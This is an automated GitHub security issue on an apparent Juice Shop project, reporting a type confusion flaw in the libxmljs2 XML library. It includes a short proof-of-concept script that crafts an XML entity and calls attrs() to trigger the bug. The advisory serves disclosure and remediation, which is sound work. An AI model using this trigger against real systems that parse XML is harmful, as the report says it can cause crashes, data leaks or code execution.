Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

High severity - Type Confusion vulnerability in libxmljs2 (package.json) #208

Open
github-actions bot opened this issue Aug 15, 2024 · 0 comments
Open

Comments

@github-actions
Copy link

  • Package Manager: npm
  • Vulnerable module: libxmljs2
  • Introduced through: juice-shop@12.3.0 and libxmljs2@0.26.7

Detailed paths

  • Introduced through: juice-shop@12.3.0 › libxmljs2@0.26.7

Overview

libxmljs2 is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Type Confusion due to the improper handling of a specially crafted XML file. An attacker can cause a denial of service, data leak, infinite loop, or execute arbitrary code by invoking a function on the result of attrs() that was called on a parsed node.

PoC

const libxmljs2 = require('libxmljs2');

var d = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note
[
<!ENTITY writer `" + 'A'.repeat(0x1234) + `">
]>
<from>&writer;</from>
`;

t = libxmljs2.parseXml(d, {flags: [libxmljs2.XMLParseFlags.XML_PARSE_HUGE]})
from = t.get('//from')
c = from.childNodes()[0]
c2 = c.childNodes()[0]
c2_attrs = c2.attrs()

Remediation

There is no fixed version for libxmljs2.

References

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

0 participants